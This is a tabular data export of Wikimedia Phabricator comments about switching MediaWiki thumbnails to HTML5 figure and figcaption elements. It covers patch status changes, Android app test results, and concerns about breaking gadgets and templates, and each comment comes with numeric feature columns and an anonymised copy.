[[https://gerrit.wikimedia.org/r/505645]]",,,1555952830,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,303,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,20.0,4.024390243902439,0.8292682926829268,"Change 505645 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/core@master] Allow <figure-inline> attributes through Sanitizer

[[GERRIT_URL]]"
967639,Use figure and figcaption HTML5 elements when possible,"Change 196533 abandoned by Umherirrender:
Stop specifying element for thumbinner class

Reason:
See T178932

[[https://gerrit.wikimedia.org/r/196533]]",,,1511202815,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,229,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.52,0.8,"Change 196533 abandoned by Umherirrender:
Stop specifying element for thumbinner class

Reason:
See T178932

[[GERRIT_URL]]"
785979,Use figure and figcaption HTML5 elements when possible,"I'm a little confused why this is in code review. The patch is over a year old and I'm unclear what the current state of this task is - have there been new developments? Has there been a request? I see some recent comments on the ticket from @ssastry:
> No, not to be abandoned. We had an RFC hearing around this, and the block figure image usage had approval, but inline image markup was still to be resolved. Brion and Scott were going to do some follow up around that. Separately, we need to figure out transition plans for when we move to <figure> markup since it will break user scripts, gadgets, etc. So, all those are blockers on getting this merged and deployed.

Seems there is a lot more to work out here before we can help review this task?

(Is someone more in the loop able to refresh the description so it does not date back to the Bugzilla days? :))",,,1483413867,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,183,,1.0,1.0,0.0,0.0,1.0,9.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,4.0,0.0,6.0,11.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,12.0,1.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,9.0,2.0,1.0,14.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,2.0,4.0,0.0,0.0,5.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,3.69,0.72,"I'm a little confused why this is in code review. The patch is over a year old and I'm unclear what the current state of this task is - have there been new developments? Has there been a request? I see some recent comments on the ticket fromSCREEN_NAME:
QUOTE

Seems there is a lot more to work out here before we can help review this task?

(Is someone more in the loop able to refresh the description so it does not date back to the Bugzilla days? :))"
785978,Use figure and figcaption HTML5 elements when possible,"I'm a little confused why this is in code review. The patch is over a year old and I'm unclear what the current state of this task is - have there been new developments? Has there been a request? I see some recent comments on the ticket from @ssastry:
> No, not to be abandoned. We had an RFC hearing around this, and the block figure image usage had approval, but inline image markup was still to be resolved. Brion and Scott were going to do some follow up around that. Separately, we need to figure out transition plans for when we move to <figure> markup since it will break user scripts, gadgets, etc. So, all those are blockers on getting this merged and deployed.

Seems there is a lot more to work out here before we can help review this task?
",,,1483413836,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,183,,1.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,4.0,5.0,0.0,5.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,13.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,8.0,9.0,1.0,1.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,9.0,1.0,4.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,1.0,0.0,0.0,3.6578947368421053,0.7368421052631579,"I'm a little confused why this is in code review. The patch is over a year old and I'm unclear what the current state of this task is - have there been new developments? Has there been a request? I see some recent comments on the ticket fromSCREEN_NAME:
QUOTE

Seems there is a lot more to work out here before we can help review this task?
"
573290,Use figure and figcaption HTML5 elements when possible,@niedzielski: cool.,,,1449265385,,PHID-USER-srhlj2447vmpmrfhqnfa,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,SCREEN_NAME: cool.
573256,Use figure and figcaption HTML5 elements when possible,"@dr0ptp4kt, since this requires the Content Service to point at a local Vagrant instance, a local RESTBase and maybe also a local Parsoid install will be necessary. It'll take me a little while to get that configured. Unless this is urgent, let's see if @bearND can run this test.",,,1449261814,,PHID-USER-6tlavgtsosjuvizsej53,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,14.0,4.0,2.0,16.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,5.0,9.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,4.232142857142857,0.7857142857142857,"SCREEN_NAME, since this requires the Content Service to point at a local Vagrant instance, a local RESTBase and maybe also a local Parsoid install will be necessary. It'll take me a little while to get that configured. Unless this is urgent, let's see ifSCREEN_NAME can run this test."
572809,Use figure and figcaption HTML5 elements when possible,"@mholloway and @niedzielski, are you able to verify no degradation of user experience with the Mobile Content Service in force with this patch, too? CC @bearND in case this task needs to wait until next week.",,,1449198930,,PHID-USER-srhlj2447vmpmrfhqnfa,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,21.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.657894736842105,0.868421052631579,"SCREEN_NAME andSCREEN_NAME, are you able to verify no degradation of user experience with the Mobile Content Service in force with this patch, too? CCSCREEN_NAME in case this task needs to wait until next week."
572807,Use figure and figcaption HTML5 elements when possible,"Thanks, @niedzielski!",,,1449198765,,PHID-USER-srhlj2447vmpmrfhqnfa,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Thanks,SCREEN_NAME!"
572788,Use figure and figcaption HTML5 elements when possible,"@dr0ptp4kt, a quick follow up on gallery. The gallery images have their own request[0]. I also double checked functionally on a couple devices:

## API 10 master and patch {F3046104} {F3046106}

## API 23 master and patch {F3046116} {F3046118}

For _even more_ thoroughness, here's link preview[1] which uses the same request as the gallery on master and its own request on Gingerbread:

## API 10 master and patch {F3046108} {F3046110}

## API 23 master and patch {F3046120} {F3046122}

[0] https://phabricator.wikimedia.org/diffusion/APAW/browse/master/app/src/main/java/org/wikipedia/page/gallery/GalleryCollectionFetchTask.java
[1] These look trash because I don't have all the extensions installed. The trash looks different on different APIs because the requests[2,3] and extract processing has changed since Gingerbread[4].
[2] http://192.168.1.11:8080/w/api.php?action=query&format=json&titles=Thomas_Jefferson&continue=&prop=extracts%7Cpageimages%7Cpageterms&redirects=true&exchars=512&explaintext=true&piprop=thumbnail%7Cname&pithumbsize=320&wbptterms=description
[3] http://192.168.1.11:8080/w/api.php?action=query&format=json&formatversion=2&prop=extracts%7Cpageimages&redirects=true&exsentences=5&explaintext=true&piprop=thumbnail%7Cname&pithumbsize=320&titles=Thomas_Jefferson
[4] https://phabricator.wikimedia.org/rAPAWd945afc63d8025a2ae1198987f0b8cf95dc74efa#a0928e81",,,1449194986,,PHID-USER-6tlavgtsosjuvizsej53,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,0.5,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.5,3.0,6.0,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.5,0.0,14.5,2.0,3.5,6.0,0.0,0.0,0.0,4.5,1.0,0.0,5.5,0.0,2.5,6.0,4.5,0.0,0.0,0.0,2.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,5.5,3.5951436388508893,0.6021203830369357,"SCREEN_NAME, a quick follow up on gallery. The gallery images have their own request[0]. I also double checked functionally on a couple devices:

## API 10 master and patch {F3046104} {F3046106}

## API 23 master and patch {F3046116} {F3046118}

For _even more_ thoroughness, here's link preview[1] which uses the same request as the gallery on master and its own request on Gingerbread:

## API 10 master and patch {F3046108} {F3046110}

## API 23 master and patch {F3046120} {F3046122}

[0] URL
[1] These look trash because I don't have all the extensions installed. The trash looks different on different APIs because the requests[2,3] and extract processing has changed since Gingerbread[4].
[2] URL
[3] URL
[4] URL"
572571,Use figure and figcaption HTML5 elements when possible,"## Results
I877baf403088c716ad8e89752008b7a59b7e466c appears to work properly for the Android app, both master and the old deprecated Gingerbread version. I did not test the PhoneGap version. There are slight padding differences on some APIs but I think they're acceptable.

## Setup
I don't play with a local MW instance enough so please excuse the verbose notes for verification.

I checked out master and made a page with some images. I checked out the patch and made another page with the same content. I can see that the master page has divs and the patch page has figures.

I visited the two pages in the Android app (master and our old deprecated Gingerbread version-- not PhoneGap) on a number of devices.

For posterity, some screen caps:

## API 10 master and patch {F3045482} {F3045480}

## API 19 master and patch {F3045484} {F3045486}

## API 23 master and patch {F3045488} {F3045490}

## Fire master and patch {F3045493} {F3045495}

 ",,,1449179179,,PHID-USER-6tlavgtsosjuvizsej53,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,2.0,5.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,4.333333333333333,0.3333333333333333,12.666666666666666,0.3333333333333333,4.0,6.0,0.0,0.0,0.0,5.333333333333333,1.6666666666666667,0.3333333333333333,2.3333333333333335,0.0,3.0,5.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.9362745098039214,0.6274509803921569,"## Results
I877baf403088c716ad8e89752008b7a59b7e466c appears to work properly for the Android app, both master and the old deprecated Gingerbread version. I did not test the PhoneGap version. There are slight padding differences on some APIs but I think they're acceptable.

## Setup
I don't play with a local MW instance enough so please excuse the verbose notes for verification.

I checked out master and made a page with some images. I checked out the patch and made another page with the same content. I can see that the master page has divs and the patch page has figures.

I visited the two pages in the Android app (master and our old deprecated Gingerbread version-- not PhoneGap) on a number of devices.

For posterity, some screen caps:

## API 10 master and patch {F3045482} {F3045480}

## API 19 master and patch {F3045484} {F3045486}

## API 23 master and patch {F3045488} {F3045490}

## Fire master and patch {F3045493} {F3045495}

 "
494576,Use figure and figcaption HTML5 elements when possible,"Change 196532 restored by Cscott:
Use figure and figcaption HTML5 elements in Linker::makeThumbLink2

Reason:
I don't think abandoning this is helpful.  I'll put a -2 on it though to prevent premature commit.

[[https://gerrit.wikimedia.org/r/196532]]",,,1437515671,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,107,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,2.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,19.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,6.0,8.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,4.083333333333333,0.8541666666666666,"Change 196532 restored by Cscott:
Use figure and figcaption HTML5 elements in Linker::makeThumbLink2

Reason:
I don't think abandoning this is helpful.  I'll put a -2 on it though to prevent premature commit.

[[GERRIT_URL]]"
493821,Use figure and figcaption HTML5 elements when possible,"Change 196532 abandoned by Prtksxna:
Use figure and figcaption HTML5 elements in Linker::makeThumbLink2

Reason:
Can be unabandoned whenever we're ready.

[[https://gerrit.wikimedia.org/r/196532]]",,,1437392905,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,107,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,24.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,3.0,6.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,4.636363636363637,0.8484848484848485,"Change 196532 abandoned by Prtksxna:
Use figure and figcaption HTML5 elements in Linker::makeThumbLink2

Reason:
Can be unabandoned whenever we're ready.

[[GERRIT_URL]]"
491971,Use figure and figcaption HTML5 elements when possible,I believe @TStarling and the parsing team have agreed on a long-term plan to make the PHP parser output and Parsoid output converge.,,,1436994247,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,106,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.44,0.88,I believeSCREEN_NAME and the parsing team have agreed on a long-term plan to make the PHP parser output and Parsoid output converge.
483853,Use figure and figcaption HTML5 elements when possible,">>! In T51097#1157239, @matmarex wrote:
>>>! In T51097#1155608, @Mattflaschen wrote:
>> In what cases would someone need to explicitly use figcaption from wikitext (the main point is for people to use File tags, and the parser to generate them)?
> 
> https://en.wikipedia.org/wiki/Template:Multiple_image and other such templates need to replicate the HTML of the image thumbnails.

I'm not opposing `<figure>` in wikitext per se, but templates don't need it. They just have to look similar. There shouldn't be any styles specific to the figure elements in core. The classname on `<div>` will suffice and result in the same visual appearance and behaviour.

Having said that, such templates shouldn't need to replicate the thumb HTML itself. We need to either support it by implementing the necessary bits in core (or an extension), or decide why it is undesired for some technical or UX reason and discourage its use.",,,1435616576,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,104,,1.5,0.0,0.0,0.0,2.5,6.0,1.5,0.0,0.0,0.0,2.5,2.5,0.0,0.0,0.5,1.5,1.0,3.5,8.0,0.0,2.0,1.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,3.0,1.5,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,1.0,4.0,1.5,9.0,1.0,6.0,6.5,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,8.0,4.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,1.0,2.0,0.0,0.0,0.5,4.00219170075979,0.7866744593804793,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm not opposing CODE in wikitext per se, but templates don't need it. They just have to look similar. There shouldn't be any styles specific to the figure elements in core. The classname on CODE will suffice and result in the same visual appearance and behaviour.

Having said that, such templates shouldn't need to replicate the thumb HTML itself. We need to either support it by implementing the necessary bits in core (or an extension), or decide why it is undesired for some technical or UX reason and discourage its use."
483852,Use figure and figcaption HTML5 elements when possible,">>! In T51097#1157239, @matmarex wrote:
>>>! In T51097#1155608, @Mattflaschen wrote:
>> In what cases would someone need to explicitly use figcaption from wikitext (the main point is for people to use File tags, and the parser to generate them)?
> 
> https://en.wikipedia.org/wiki/Template:Multiple_image and other such templates need to replicate the HTML of the image thumbnails.

I'm not opposing `<figure>` in wikitext per se, but templates don't need it. They just have to look similar. There shouldn't be any styles specific to the figure elements in core. The classname on `<div>` will suffice and result in the same visual appearance and behaviour.

Having said that, such templates shouldn't need to exist. We need to either support it by implementing the necessary bits in core (or an extension), or decide why it is undesired for some technical or UX reason and discourage its use.",,,1435616550,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,104,,1.5,0.0,0.0,0.0,2.5,6.5,1.5,0.0,0.0,0.0,2.5,2.5,0.0,0.0,0.5,1.5,1.0,4.0,8.0,0.0,2.5,1.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,3.5,2.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,1.0,3.5,1.5,8.0,1.0,6.5,6.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,8.0,3.5,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,2.5,0.0,0.0,0.5,3.948621553884712,0.787907268170426,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm not opposing CODE in wikitext per se, but templates don't need it. They just have to look similar. There shouldn't be any styles specific to the figure elements in core. The classname on CODE will suffice and result in the same visual appearance and behaviour.

Having said that, such templates shouldn't need to exist. We need to either support it by implementing the necessary bits in core (or an extension), or decide why it is undesired for some technical or UX reason and discourage its use."
434069,Use figure and figcaption HTML5 elements when possible,">>! In T51097#1155608, @Mattflaschen wrote:
> In what cases would someone need to explicitly use figcaption from wikitext (the main point is for people to use File tags, and the parser to generate them)?

https://en.wikipedia.org/wiki/Template:Multiple_image and other such templates need to replicate the HTML of the image thumbnails.",,,1427474703,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,90,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,21.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2105263157894735,0.8947368421052632,"QUOTE
QUOTE

URL and other such templates need to replicate the HTML of the image thumbnails."
433725,Use figure and figcaption HTML5 elements when possible,">>! In T51097#1147961, @TheDJ wrote:
> # Do we want users to use figcaption/figure from wikitext as well ? (I think this can be assessed at a later point in time).

In what cases would someone need to explicitly use figcaption from wikitext (the main point is for people to use File tags, and the parser to generate them)?",,,1427411748,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,90,,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,17.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.9722222222222223,0.8611111111111112,"QUOTE
QUOTE

In what cases would someone need to explicitly use figcaption from wikitext (the main point is for people to use File tags, and the parser to generate them)?"
432192,Use figure and figcaption HTML5 elements when possible,"# Should be tested with the other skins.
# It seems CSS or scripts for some people would break: https://en.wikipedia.org/w/index.php?title=Special:Search&limit=20&offset=20&profile=all&search=thumbinner Mostly this is style
# MediaWiki:Gadget-ImageAnnotator.js would break and probably a few more",,,1427275316,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,90,,5.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,20.0,0.0,5.0,10.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,2.0,5.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.975609756097561,0.8536585365853658,"# Should be tested with the other skins.
# It seems CSS or scripts for some people would break: URL Mostly this is style
# MediaWiki:Gadget-ImageAnnotator.js would break and probably a few more"
432180,Use figure and figcaption HTML5 elements when possible,"As Brion said, be sure to validate against TimedMediaHandler, Mobile, WikiEditor and other extensions that depend on the current thumbnail layout.

We will probably want to deploy the CSS changes before the element changes for cache reasons ?

Also we have https://en.wikipedia.org/wiki/Category:Graphics_templates where I have two concerns:
# How many of those templates will be affected
# Do we want users to use figcaption/figure from wikitext as well ? (I think this can be assessed at a later point in time).",,,1427274219,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,90,,1.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,1.0,0.0,4.0,3.0,14.0,2.0,1.0,6.0,0.0,0.0,0.0,2.0,8.0,0.0,1.0,0.0,5.0,13.0,4.0,2.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,4.031578947368421,0.8,"As Brion said, be sure to validate against TimedMediaHandler, Mobile, WikiEditor and other extensions that depend on the current thumbnail layout.

We will probably want to deploy the CSS changes before the element changes for cache reasons ?

Also we have URL where I have two concerns:
# How many of those templates will be affected
# Do we want users to use figcaption/figure from wikitext as well ? (I think this can be assessed at a later point in time)."
